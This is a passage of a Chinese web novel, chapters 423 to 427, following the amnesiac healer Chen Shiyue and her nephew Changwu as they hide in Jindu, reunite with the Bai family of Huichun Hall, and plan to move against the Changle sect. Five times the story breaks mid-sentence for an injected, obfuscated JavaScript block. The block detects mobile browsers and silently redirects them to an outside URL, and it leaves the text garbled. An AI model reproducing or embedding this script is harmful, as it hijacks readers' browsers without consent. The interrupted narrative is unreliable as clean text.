朝中能用的武将,寥寥无几,帝王哪儿敢轻易动霍家,但也要防着霍家起二心。 “该准备的,可都准备妥当?”管家连连点头,“备下了,但是少将军您如今的状态,如何能亲自领人进山?” 这次血淋淋的回来,全身都是伤,再带着人进山,这不是要命吗? 不成。 绝对不成。 倒不是管家不愿意去救人,只是不想霍青行以身犯险,“此事交给其他人便是,咱将军府又不是无人可用,少将军已经身负重伤,若是再折腾……老奴不能看着您这样枉顾性命。就算您自个不在意,但也要想想霍家军这么多弟兄,想想老将军啊!” 霍青行抬眸看他,一言不发。 相顾无言,谁也不知道接下来还会发生何事? 一时间,满室寂静。 好在,宫里是安生了。 听得王海与太医的回禀,李敬松了口气,“没事自然是最好的,年轻人的身子要紧,霍家就剩下这么一根独苗,边关那边还得倚仗霍家。” 李敬放下手中的折子,意味深长的看了王海一眼。 王海行礼,“皇上放心,太医也说了,少将军到底是年轻,只要好好养着,应该很快就会好起来,宫外的药到底是不如宫里给的。” “你盯着点。”李敬开口,“若是需要什么,只管去库房拿,务必要让他尽快好起来,还有便是这段时间得防着点,若是有人打错了主意,那就别怪朕不客气。” 最后一句,才是重点中的重点。 “是!”王海颔首。 李敬抬眸看他,“丞相府那丫头是怎么回事?” “可能是有点那个意思。”王海低语,“追着少将军跑,一口一个霍哥哥,霍哥哥的叫。小姑娘一门心思要进将军府的大门,每次都被拦着不让进,后来就急眼了!杨姑娘那性子,皇上也是知道的,家里就这么两个孩子,姑娘家疼得跟眼珠子似的。” 李敬点点头,“小姑娘的心思还真是……” “谁说不是呢?这一闹腾,若是不好好收个场,怕是来日相见也尴尬。”王海笑盈盈的开口。 听着是打趣的口吻,但说着无心,听者有意啊! “哦,有道理。”李敬皱起眉头,“这件事还是得思量思量才好,让丞相入宫一趟,朕跟他聊两句,总归是要免去这尴尬才好。” 王海行礼,“老奴这就去。” 思量思量? 这少男少女,少女慕艾,还有什么可思量的? 不就是那些事儿吗? 听得丞相当日入宫,一直到夜里才出来。 至于君臣二人说了什么,倒是无人得知。 金都城依旧热闹。 白日喧闹不休,夜里灯火璀璨。 街头巷尾,人声鼎沸。 尤其是花街柳巷这边,莺莺燕燕,百花争艳。一声声招呼,听得人心猿意马,止不住的唇角上扬,耐不住的小心思抖动…… 陈识月站在街头,瞧着那边笑盈盈的姑娘,空气里满是胭脂水粉的气息,可惜自己不是男儿,要不然的话,倒也喜欢得紧。 “你看什么?”长雾问,“不会也想加入她们吧?” 陈识月阴测测的看向他。 “虽然没有银子住客栈,但也不至于去这种地方赚银子花吧?”长雾继续说,“大不了我去给人当背夫,当长工,女儿家的名节还是很重要的。即便你是我小姨,嫁不出去……” 还不等他把话说完,陈识月已经跳起来,一巴掌拍他脑门上,“收起你的乌鸦嘴,我以后要是真的嫁不出去,我就阉了你,让你也娶不了媳妇。” 长雾:“……” 嗤,真狠! “走吧!”陈识月走在前面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346361|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长雾跟在后面,“去、去哪儿啊?不是让我也跟着你去这地方,打杂吧?我告诉你,我宁死不屈花楼里打杂,我……” “我我我我,我什么我?”陈识月满脸嫌弃的看向他,“你想得可真美!这么多的姑娘,一个个如花似玉,漂漂亮亮的,你还想给她们打杂?” 长雾皱眉,“我长得也没那么磕碜吧?” “呵,那也得人家看得上你?就你这样身无长物,就一张淬了毒的嘴,就想哄得姑娘开心,对你另眼相看?真是做梦没擦眼屎,打算闭上眼继续睡呢?”陈识月骂骂咧咧的拐个弯。 长雾哼哼唧唧的跟上,“这是要去哪儿?” “跟着就是,费什么话?” 陈识月绕了一个圈,终于停在了一条巷子里。 “进来的时候我就观察过了,这条巷子两侧都是人家,这边的人家墙头草都高了,门缝里面透着一股子霉味和青草味,说明很久没人住了。”陈识月指了指一侧。 长雾:“??” 所以呢? “还愣着干什么?蹲下!”陈识月指挥着他。 长雾乖乖蹲下。 下一刻…… “嗤!” “别吵!慢慢站起来。” 长雾慢慢站起来,“瞧见没有?” 陈识月趴在墙头,低眉看着墙内的动静,“草都齐腰了,肯定没人住,我们进去。” 说着,她便爬墙进去。 一回头,长雾稳稳落在了她身后。 陈识月:“……” 忘了,他会功夫。 早知道,就不费这么大的劲儿了。 这院子虽然荒芜,但屋子里可以遮风避雨,倒是可以勉强小住,毕竟他们现在身无分文,的确需要一个地方来暂住。 “随便收拾一下就可以了。”陈识月环顾四周,“地方很宽敞,你住隔壁去。” 两人收拾了一通,至少今晚是可以安然过夜了。 “隔壁是府尹大人的府邸。”长雾说。 陈识月脑子里有根弦忽然被拨动了一下,“你怎么知道?” “爬墙头的时候多看了一眼。”长雾解释,“所以你我最好小心点,咱这是在做贼。” 万一被抓个正着,那可就糟糕了。 第四百二十三章 别让她跑了! “隔壁就是知府大人的府邸,咱小心着点就是。”陈识月想了想,“莫要生火,没有特殊的情况下,不要有光亮,动作都尽量放轻,莫要引人注意。” 长雾点点头,“那明日呢?后天呢?咱不能就待在这里吧?总得吃喝。” “那是自然。”陈识月用干草累积,铺就一张床榻。 这屋子里什么都没有,连桌椅板凳都被带走了,可见这家人搬走的时候,收拾得那叫一个干干净净,估计这些能卖的东西都被换了银子带走。 院子里荒草漫天,砍上一捆能铺两张床,今夜就暂且可以在这里歇一晚。 明日,再筹备其他。 长雾倒是没心没肺,黑灯瞎火倒头就睡,陈识月在隔壁房间有些翻来覆去,虽然不是太冷,但多少有点凉意。 半晌过后,她翻身坐起,寻思着明日该做点什么? 莫名的,心里有些空落落的。 说不清楚是因为什么,只是有点难受,这让她想起了梦里的那个人,好像很近,又好似很远,面容模糊不清,羁绊却心神震颤。 只要找到这个人,也许自己的记忆就回来了吧? 陈识月始终坚信,发生过的事情不可能被抹去,就像是记忆不可能彻底消失,只可能被锁在记忆的黑色匣子里,暂时丢失了钥匙。 有毒,必有解。 世间万物,相生相克。 睡过去之前,陈识月想着,要不然明天去医馆碰碰运气,说不定能找到一份活计,至少得先填饱肚子吧?有了银子能活下去,活下去才能找到真相。 迷迷糊糊的,睡过去了,可惜今夜没能再梦到那个他…… 她睡得倒是安稳了,可有人不安稳了。 尤其是白家。 白夫人当时就厥过去了,这么好的姑娘怎么就没回来呢? 想去找,却也无能为力。 连将军府都没办法,他们又能如何?何况那山上有熊,即便少将军他们没碰见熊,但也只是没碰见而已,若是运气不好,正对面相撞,去找人的弟兄也会出事。 谁的命不是命? 得想个周全的法子才行。 “你是说,那两位姑娘也没回来?”白重愣住。 白清舟点点头,“我特意问过了杜氏兄弟,说是迎春和冬梅两位姑娘陪着一起去,也是同样的杳无音信,没有跟着少将军他们回来。” “现在将军府那边乱成一团,回来的人几乎都昏睡着,醒来也没力气,脑子都不清楚了,哪儿说得明白究竟发生何事?”白重想了解一下山上的情况,也是无从下手。 还有便是,那个奇奇怪怪的人…… 藏匿在小黑屋内,蜷缩在角落里,根本不让人碰,管家想让他给这怪人看看,奈何根本近不了身,只能放点饭食和水,先看着再说。 “爹?爹?”白清舟喊了两声。 白重才回过神来,“什么?” “您发什么呆呢?”白清舟眉心紧蹙。 白重摇摇头,“无事,就是心里乱得厉害,怎么就没回来呢?少将军怎么没把人带回来呢?” “肯定还出了别的事情,要不然少将军不会放开月姑娘。”白清舟还是略有些了解,霍青行与陈识月之间的感情,且霍青行不是宵小之辈。 霍青行为人坦荡,霍家一个个都是顶天立地的汉子,不会做出那样不齿之事,但若是真的出了事,这二人必定会有所取舍。 月姑娘没回来,肯定是有此考量。 “你说,会是什么事情呢?”白重凝眉。 白清舟摇摇头,“不好说。” 山上情况复杂,根本不是寻常人可以应付,所以这一次真的很为难,饶是白重在金都生活了这么多年,这一时半会也想不出个解决的办法。 “哦对了,之前那个……”白重犹豫了一下。 白清舟心神一颤,忙做了个“嘘”的手势,快速行至门口张望,确定外头没什么人,这才松了口气,“父亲慎言。” “吊着一口气,勉强活着,的确……”白重若有所思的眯起眸子,“欧阳捕快那边,会不会有所收获?虽然伤得不轻,但好歹也能开口说几句吧?” 白清舟与他对视一眼,“那父亲明日还会去出诊吗?” “去!”白重点点头,“必须去,还得把之前没问清楚的都弄清楚。” 白清舟也觉得极好,“避开府尹大人吧?” “为何?这是府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351873|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尹管辖的地界,出了这么多的事情,他怎能不管?”白重沉着脸,“身为父母官,岂能不为民做主?” 白清舟叹口气,“爹,您别忘了,之前少将军和李掌柜他们都提过,长乐门里有朝廷的人,这山里什么情况,您自个琢磨琢磨,府尹大人即便有心,万一真的查到了什么人头上,他这顶乌纱帽保不保得住都两说,万一是一个阵营的……” 那他们回春堂就等于自投罗网! “欧阳捕头是少将军他们救回来的,这里面有救命之恩在,可以江湖道义论处,不涉及朝廷之争,尚且有斡旋的余地。”白清舟到底思虑周全。 一番话,说得白重心服口服。 没错,的确还慎重考虑,不能莽撞,否则容易给将军府带去灾祸,何况回春堂不是单纯的医馆,承载着这些年多少人的心血,国公府往来旧部,皆以此为联络点,不能让人看出端倪。 “那我明日先探探欧阳捕头的口风。”白重低低的开口,“当然,也得跟老李头通通气,总觉得有点不太对劲,可这一时半会又想不明白,到底哪儿不对?” 白清舟沉思。 老一辈的经验和直觉,理该得到尊重,如果连父亲都觉得这里面有问题,那这里面肯定有问题,说不出来问题所在,只能说明是某一点的问题,很细小的、不易察觉的存在。 线索很微末,但也要小心谨慎。 翌日,晨光熹微。 回春堂照样开门做生意,白清舟率先出门,今日还是要去一趟问问,要是昨晚回来了呢? 只不过,他前脚刚出门,后脚便有人踏入了回春堂。 “姑娘,这一大早的,您是要买药还是瞧病?”掌柜正在拨弄算盘,伙计正在码放柜台上的纸张,各自都没有抬头,只隐约瞧见个人影进来,于是随口就问了一句。 谁知下一刻,熟悉的声音传来。 “请问,你们招女大夫吗?” 手上的动作一顿,掌柜忽然抬起头,与堂内所有人一般,都目不转睛的盯着进来的身影,顷刻间气氛凝滞,好像有什么东西,在心头炸开。 回过神来的那一刻,掌柜放下手中算盘,拍一下身边的伙计,“别让她跑了,我去找东家!” 第四百二十四章 失忆?没关系,自己找回来 陈识月当场就懵了,瞧着伙计快速冲过来,然后越过她快速关上了门,药童一把拽住了她胳膊,生怕她跑了似的,这一副齐齐上手的姿势,好像她犯了什么十恶不赦之罪,这些人势必要将她留下,绳之以法。 那一瞬,陈识月是慌张的。 难道自己失忆的那一部分,是犯了什么罪责? 这回春堂就是个陷阱? 自己……自投罗网? 哎呦喂,这到底是怎么回事? 陈识月嗓音都变了,“你们作甚?我做什么十恶不赦之事了吗?你们……” “月姑娘?”伙计愣住了。 这真的不是双胞胎吗? 要不然,她怎么如此言说? 大家都那么熟了,进进出出的,她怎么就不认识他们了呢? “月姑娘?”陈识月以手自指,“你说的是我?” 伙计一拍大腿,“坏了,这肯定是伤了脑子,瞧着就有些不太聪明的样子了?” “你才不太聪明!”陈识月皱起眉头,满脸的不悦,“我不记得你们了。” 药童悄摸松开手,慎慎的走到了伙计身侧,“瞧着不太对劲。” 伙计也有些吓着,“是同一个人吧?” 这才多久? 忘得一干二净。 不管了,先守住人,千万千万不能让人跑了。 掌柜急急忙忙的往楼上跑,还好昨天东家住在医馆里,这会过去正好能见到人。 “东家,东家,回来了!回来了!”掌柜兴奋得无以言表。 白重正收拾好了药箱,想着先去一趟欧阳恭那边,问过一些情况再去跟将军府通气,没想到这掌柜火急火燎的过来,一通莫名其妙的喊。 “什么回来了?”白重眉心紧蹙,“你都这般年岁了,怎么还如此沉不住气?有什么话,好好说,听得人云里……” “月姑娘!” 不等白重把话说完,掌柜已经脱口而出。 气氛一下子凝滞。 “月姑娘回来了!”掌柜喘着气。 白重提起的药箱,再度放回桌案上,撒腿就往外走,“人呢?在哪呢?活着吗?” 哪怕是伤了,残了都无所谓,只要活着,只要活着就成! “好着呢!”掌柜一边擦着汗,一边跟上去,“精气神十足的,瞧着囫囵个的……但是……” 回过神来,掌柜有些犹豫了。 人是没什么大碍,就是这话……如今琢磨着,怎么有点不太对劲?来回春堂找活干?她问那一句话话是,回春堂招不招女大夫? 不对不对,这怎么怪怪的? 这话不对。 “怎么了?”白重也意识到,问题有点不太对劲,“你是不是发现了什么?” 掌柜顿住脚步,“她方才问的是,回春堂要不要找女大夫?” 白重:“??” 她又不是头一遭来回春堂,往来都这么多回了,莫不是在开玩笑? “许是同咱玩笑呢?”掌柜低声呢喃。 白重:“……” 心里有些慌。 赶紧去看看。 不看不知道,一看吓一跳。 迎上陈识月茫然的目光,白重心里咯噔一声,暗叫不好。 “你什么都忘了?”白重喉间滚动,拽着她忙不迭去了后堂,然后便想伸手去给她把脉,却被陈识月婉拒了,“丫头,你怎么了?” 陈识月明白了,他们都认识她?! 没错,很熟。 而且这些人看她的眼神,都带着狐疑和探究,面上皆是担忧之色,应该不是要害她,只不过对于自己过去的那些事情,她的确毫无印象。 “你不记得了?”白重与掌柜面面相觑。 陈识月点点头,“出了点事情,吃了不该吃的,就忘了以前的事情,连自己是谁都忘了。不过,你们既然认识我,想来也是可以跟我说说的。” 白重叹口气,“我给你把把脉?” 陈识月有些犹豫,她体内有蛊虫,只怕…… 但瞧着白重担忧之色,心里生出的不忍心战胜了警惕性,让她终是伸出手。 白重一把脉,眉头拧得更紧了。 见他好半晌没反应,陈识月便知道,这件事很棘手,大概率是没办法的。 “不必忧心,我暂时没有任何的不适。”陈识月收回手,含笑坐在那里,“我……我该如何称呼您呢?” 白重眼角微红,“我与你外祖父、舅舅关系极好,你唤我叔公。我还有个儿子,你大概也不记得了。” 想了想,白重又道,“你外祖父给我的书信还在,你且等着!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351874|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧着递来的书信,陈识月伸手接过,仔细查看了一番,虽然没什么印象,但是上面言辞谨慎,字字爱护之情,傻子都能瞧出来这上面的不舍与托付。 “你外祖父的事儿,你应该也不记得了,不过没关系,你只管出去打听打听回春堂的事情,我白某人就在这里,算不得什么名人,却也是诚信知义之人。”白重谨慎的开口,“丫头,你若是不信,可以……” 陈识月摇摇头,将书信递回去,“我信。” 找医馆这件事,她是临时起意,这就说明即便有人跟着她,也无法断定她会去哪儿? 她压根没留意回春堂之事,所以进来纯属偶然,想要设计她,也不至于如此环环相扣,毫无破绽。 “我们还以为你……”白重抹着泪,“老天保佑,真是祖宗庇护,你没事就好。” 陈识月:“??” “全不记得了?那你是从哪儿回来的?”白重追问。 陈识月想了想,“我是从山上回来的……” 白重:“……” “叔公,能把你知道的事情,都跟我说一说吗?”陈识月有些尴尬,“我遇见了一些匪夷所思的事情,满心都是疑惑不解,还有很多事情都没来得及解决。” 没有记忆,便不敢下手。 “好!”白重点点头,“你莫着急,我将你来回春堂投奔我之事,细细说与你听。” 掌柜自去忙他的,叮嘱底下人不许将月姑娘回来的事情泄露出去,免得惹来不必要的麻烦,姑娘医术那么好却被人害得失去了记忆,肯定是遇见了劲敌。 “留心外头,看看这两天有没有可疑人,在回春堂附近转悠。”掌柜叮嘱伙计和药童,“莫要大意,都听明白了吗?” 若是有人进来打听,也得装出样子来。 “是!” “知道了。” 还得等东家和月姑娘想好了应对之策,再通知将军府不迟。 谁知道这里面,到底有多少弯弯绕绕呢? 掌柜时不时去后院看一眼,二楼一直静悄悄的,也不知道东家与姑娘在说什么?应该不会出什么大事吧? “掌柜的,来人了!”伙计急急忙忙的跑来。 掌柜心惊,“什么来人了?谁来了?” “您去看看就知道了。”伙计着急忙慌。 第四百二十五章 无恙便是上上签 这次来的不是什么小喽啰,不是生面孔,而是……杨明放。 乍一眼,掌柜还以为自己看错了。 再一眼,掌柜便明白了大概。 杨明放出现在这里,已经表明了丞相府的态度,且如此光明正大的来,很大概率上是有了某种倚仗,比如说帝王默许,比如说两家的关系…… “杨公子。”掌柜赶紧拱手作揖,“您是哪儿不舒服吗?” 丞相府的小公子,走哪都是耀眼的存在,谁敢当做不认识? 何况,回春堂在金都又不是朝夕之事,想要蒙混过关是不可能的,只能硬着头皮上,见招拆招。 “来个能说话主事的。”杨明放在边上坐下。 掌柜赶紧让伙计奉茶。 “小人是回春堂的掌柜,东家这会还没来,您有什么事,只管吩咐小人便是。”掌柜毕恭毕敬的赔着笑,“杨公子但说无妨。” 杨明放打量了他一眼,摆出一副吊儿郎当的样子,“你能主事?” “是!”掌柜点头哈腰,“小人是回春堂的掌柜,除非是天塌了,要不然这医馆里的寻常事物,小人皆知情皆可一力做主。” 杨明放裹了裹后槽牙,抬眸看了他一眼,眼神里带着几分锐利,还有些许不信任,但扫一眼周遭,想着可能真的没别人了,便慢悠悠的开了口,“既然如此,那你倒是说说看,将军府那边是什么情况?” “这……”掌柜犹豫了,“杨公子,这……这病患的病素来是个人的私隐,有诸多不便言说之处,还望公子海涵。” 杨明放冷笑两声,身子往椅背上一靠,整个人透着阴狠戾气,“又不是什么疑难杂症,为什么不能说?连太医都过去瞧了两眼,你小小一个回春堂倒是拿捏上了?” “小人不敢!” 掌柜已经冷汗淋淋,但还是保持冷静与恭敬。 “不敢?我怎么觉得你这胆子大得很呢?”杨明放冷笑两声,“本公子只是担心将军府少将军的身子康健,又不是什么大不了的事情,你只管照实说便罢了。” 掌柜噎了一下。 这要如何言语? 不可说,不可说。 “怎么着,是本公子的面子不够大,所以动不了你这小小的回春堂?”杨明放眉心陡蹙,显然已经动怒,再若不从,怕是要弄出点事情来。 掌柜心下犹豫,这可如何是好? “公子,将军府那边的状况,委实不好言说,小人只是个掌柜的,不是大夫,所以具体事宜……东家没有说,咱也不清楚。”掌柜字字斟酌。 他说的,也算是事情。 掌柜只是帮着东家处置回春堂所有的杂物,除了看病,其他皆是他在操持,所以杨明放问的那些事,他的确没问多少。 借口也好,理由也罢,总之一句话:什么都不知道。 “呵!”杨明放站起身来,拂袖间便将杯盏掼碎在地。 只听得“砰”的一声脆响,伴随着所有人的身心一颤,一个两个都变了脸色,却又拿杨明放没办法,毕竟是丞相府的小公子,他跺跺脚,这金都城都得抖三抖。 “你们好大的胆子,都糊弄到我跟前来了?”杨明放眯起危险的眸子,“真当我是**吗?你们说什么就是什么?就这么简单的问题,一个两个都遮遮掩掩的,是技不如人,还是另有所图,要不要送你们去大牢里走一遭,如此便会说实话了吧?” 一听大牢,所有人都急了。 大牢可不是什么好地方,进去容易出来难,即便柳大人不是这么不近人情的糊涂官,却也耐不住丞相府的权势。 “这是怎么了?”白清舟忽然从外面走进来。 乍一眼这情况,不由得心头一紧。 杨明放?! “少东家?”掌柜忙上前,冲着白清舟使了个眼色。 白清舟缓步上前,心里已有了盘算,丞相府的人出现在这里,显然不是什么好事,心里一琢磨也就琢磨出味来了。 “杨公子。”白清舟拱手作揖。 杨明放知道这是回春堂的少东家,不由得眉心微蹙,“回春堂真是好样的。” “杨公子是哪儿不舒服吗?”白清舟佯装什么都不知道,揣着明白装糊涂,“怎么不找大夫好好瞧瞧?掌柜不会瞧病,您要是不舒服可以跟大夫说,也可以跟我说,我立刻去找我爹。” 礼数周全,不卑不亢。 “好得很!”杨明放拂袖往外走。 白清舟又道,“杨夫人前两日身子欠佳……” 杨明放脚步一顿。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357026|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知如今可好些?”白清舟笑问,“心情郁结,不能大意。若是哪天郁结入心,伤及肝脏,那可就糟了。” 杨明放转头看向白清舟,有些话卡在嗓子眼里,愣是吐不出半句。 “杨公子不知道?”白清舟不解。 杨明放站直了身子,若有所思的眯起眸子,“我母亲?” “是!”白清舟点点头,“杨夫人身子不适,没有找府医,倒是请了回春堂的大夫过去,大夫说杨夫人是积劳成疾,郁结于心,需当舒肝解气,方可好转。” 杨明放好似真的不知道这件事,一时间竟站在原地发愣。 因为白清舟的一句:没有找府医。 这便意味着,母亲不想让府内的人知晓此事。 郁结……于心? “操劳过度,郁结于心,可不是什么好事。”白清舟特意提醒。 杨明放面色微变,旋即大跨步朝着外面走去。 及至看到人都走远了,掌柜才如释重负的松了口气,“还好少东家来得及时,要不然怕是得闹起来了,不知道丞相府到底想干什么?” “横竖不是好事。”白清舟回答,“对了,不是说月姑娘回来了吗?” 掌柜一怔。 伙计传话的速度还真快。 “是,在楼上跟东家在说话呢!” 掌柜这话刚说完,白清舟抬步就走。 下一刻,却被掌柜拦住。 “作甚?”白清舟不解。 掌柜迟疑了一下,“月姑娘身子不太舒服,她……她可能跟以前有点不太一样。” “不一样?只要是她就成了,不一样又如何?”白清舟松了口气,“无恙便是上上签。” 语罢,白清舟快速离开。 他上去的时候,白重已经与陈识月大致说清楚了事情的始末,瞧着二人面色凝重的样子,三双眼睛都有些发愣。 你看看我,我看看你。 “你怎么过来了?”白重率先开了口。 白清舟的目光落在陈识月身上,“没事就好,将军府那边可有通知?” “暂时没有。”白重迟疑着,看了陈识月一眼。 陈识月回过神来,满脑子都是白重说过的那些事,虽然毫无记忆,却坚信不疑。 第四百二十六章 你我皆是牛马 “月丫头啊,要不要通知那边,得你自己来决定,我们都支持你。”白重很是尊重陈识月。 这丫头医术好,人品好,长得也好,他瞧着就喜欢,奈何将军府先下手为强,这也是没办法的事情,缘分嘛……随缘。 “暂时不要通知他们吧,我身后还拴着一条尾巴呢!”陈识月意味深长的开口。 听得这话,白重愣了愣,与白清舟对视一眼。 “我不相信,只有一条尾巴!”陈识月道,“你们说的长乐门……既然做了这么多的恶事,不可能放任他不管,迟早会来找他的。可不能就这么便宜了他们!” 白清舟明白了她的意思,“不入虎穴,焉得虎子?” “深入虎穴,虚以为蛇。”陈识月深吸一口气,“总不能让他们白白害了我,却什么代价都没有吧?我可不想吃这么大的亏。” “可是……”白重担心。 她到底是个女子,长乐门的人都是穷凶极恶之徒,若是把他们逼急了,对她下死手,那还得了? “叔公不必担心我,既然我已经知道了来龙去脉,肯定不能再吃亏,想从我这里打开缺口,捞点好处,也得看他们有没有这个命!”陈识月看想二人,“烦劳叔公和白公子,替我暂且保密,权当我没来过,我会去别的医馆找找活计,你们莫要来找我。” 白重慌忙去取了银子递给她。 “不用!”陈识月连忙摇头,“若我手里忽然多了一笔银子,难免会找人怀疑,若是有什么需要,我会来找叔公的,在我弄清楚他们于城中有多少暗哨之前,暂且不要轻举妄动。” 长乐门势力庞大,盘根错节,不能有任何的闪失。 何况,如他们所言,还要查一些见不得光的陈年旧事,自然更该小心谨慎。 “可是……”白重还在犹豫,“你外祖父把你托付给我,怎么能让你去吃这样的苦头?那些事情自然有将军府和咱们去查,你失了记忆又吃了他们的亏,若是再出点什么事,我要如何同你外祖家交代?丫头,要不然咱换个法子吧?稳妥着来,我不能让你置身险境。” 陈识月倒是不在意这些,“咱们能想到的,他们想不到吗?不过是看谁胆子更大一些,所谓的稳妥,终究会付出优柔寡断的代价,叔公,我们时间不多。” 白清舟沉默着,没有说话。 “山上闹了这么一出,他们很快就会转移的。”陈识月音色沉沉,“等到时日长久,拖到他们都走完了,此番冒险还有什么意义呢?什么都没找到,我们折损了那么多人,全都白白牺牲。” 白重叹口气,“委屈你了。” “叔公,我不觉得委屈,每个人都有自己该做的事情。”陈识月心里的症结都解决了,只觉得神清气爽。 很多事情没想起来,但都从别人口中听闻,便也算是想起来了。至于接下来的事情,那就走一步算一步,且看看长乐门还有什么阴险的招数? “那我先走了!”陈识月抬步往外走。 白重忙道,“清舟,送她从后门走。” “是!”白清舟点点头。 走的时候,分外小心,谨防被人看见。 “莫要逞强,不对劲就回来。”白清舟不放心的看向她,“需要什么药材只管开口,回春堂随时供给……好好照顾自己。” 陈识月点点头,“多谢!” 她没有停留,转身离开。 瞧着陈识月离去的背影,白清舟长长叹口气,虽然想多说两句,但人没什么事,也就放心了,有什么话还是等她以后恢复记忆再说吧! 对陈识月来说,现在的众人都是陌生人,陌生人的话岂能细听,自然是左耳进右耳出,说多了还觉得你别有居心。 罢了罢了! 陈识月去了一家药铺,这药铺抓药的伙计因为有事而请辞,恰好找不到人顶替,毕竟抓药这活不是谁都可以顶替的,不懂医理不懂药性,万一抓错了药,弄错了分量,都是要出人命的。 好在,陈识月完全可以胜任。 药铺的掌柜偶尔要出门采买,挑选药材,所以铺子里得有人看着,伙计可以帮忙搬运,但是抓药的药童是必须要坐在铺子里的。 偶尔有人来问药,还得根据对方的描述,解决对方的需求。 “平安堂都是来抓药的,问诊的不多,偶尔也有其他医馆的人过来补药,你只需要小心谨慎便可, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365064|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会太过辛苦。”掌柜的对陈识月很满意。 旁人对于看方抓药这事,还会有所迟疑,陈识月却是动作麻利,甚至于能给他把脉,说得那叫一个准,如此好苗子,简直是天上掉下来的。 “是!”陈识月点点头,“我都记下了,掌柜你就放心吧!有我在,错不了。” 掌柜美滋滋的转身,那明日就可以放心出去采买药材了。 陈识月指挥着伙计,将后院的药材曝晒开来,有些药材需要放在阴凉处,有些则需要时时刻刻的曝晒,都是马虎不得的。 药材变质,药效也会随之改变,到时候吃坏了人,那还得了? 陈识月这边忙碌着,长雾那边也没闲着。 他没想到自己这辈子,还能沦落到给人扛麻袋的地步,一时间还真是有点脑瓜子嗡嗡的,好在有一身使不完的牛劲,一开始不得法门,扛得很是吃力,但是经人指点过后,扛起麻袋便麻溜溜的…… 只是扛了一天的麻袋,整个人都是狼狈的。 灰头土脸的领了工钱回去,天都已经黑了,肚子里叽里咕噜的,委实饿得慌。 陈识月站在墙下等着他,手中提着几个油纸包。 “给!”长雾将今日的工钱递给她,“今天的。” 陈识月晃了晃手中的油纸包,“晚上好好吃一顿,明日我们去看看房子,赁个小宅应不是问题。” “你赚这么多?”长雾狐疑。 陈识月摇头,“我好说歹说,掌柜的才愿意给我支半个月的工钱。接下来半个月我可就靠你了,千万不要让我饿死。” “可真狠。”长雾咂吧着嘴,“这不得给我榨出油来?” 语罢,他轻飘飘带着陈识月翻墙进去。 “知道就好,多赚点钱,咱就能日日吃饱。”陈识月进屋,将油纸包放在了干草堆上,“你要是不听话,我就把你赶出去,让你没屋子住,在外面当个乞丐。” 长雾不以为意,“当乞丐也挺好,有吃有喝,倒头就睡。” 陈识月一个眼刀子过来。 “不好不好,不当乞丐,我还得孝敬小姨,不然午夜梦回,娘会爬出来找我算账。”他赶紧赔笑。 第四百二十七章 **了 终于吃到了热乎乎的饭菜,长雾只觉得白日里的辛劳都值了。 待吃饱喝足,躺在了草垛上,长雾这才开口道,“你以前也是这么带着我过活的?” “嗯?”陈识月一怔。 长雾又问了一遍,“也是这么艰难吗?” 这让陈识月如何回答? 但话都到了这份上,自然是要应的,“要不然呢?拖着你这个拖油瓶,还得从小教你如何有行医,委实费劲。” “辛苦你了。”长雾叹气。 陈识月收拾了一下,坐在了台阶上,瞧着今晚的月色。 月色很好,清辉如练。 长雾坐在她身侧,瞧着极好的月色,眉心微微拧起,“我们真的没有别的至亲了吗?所谓的骨肉血亲,就只有你我二人了?” 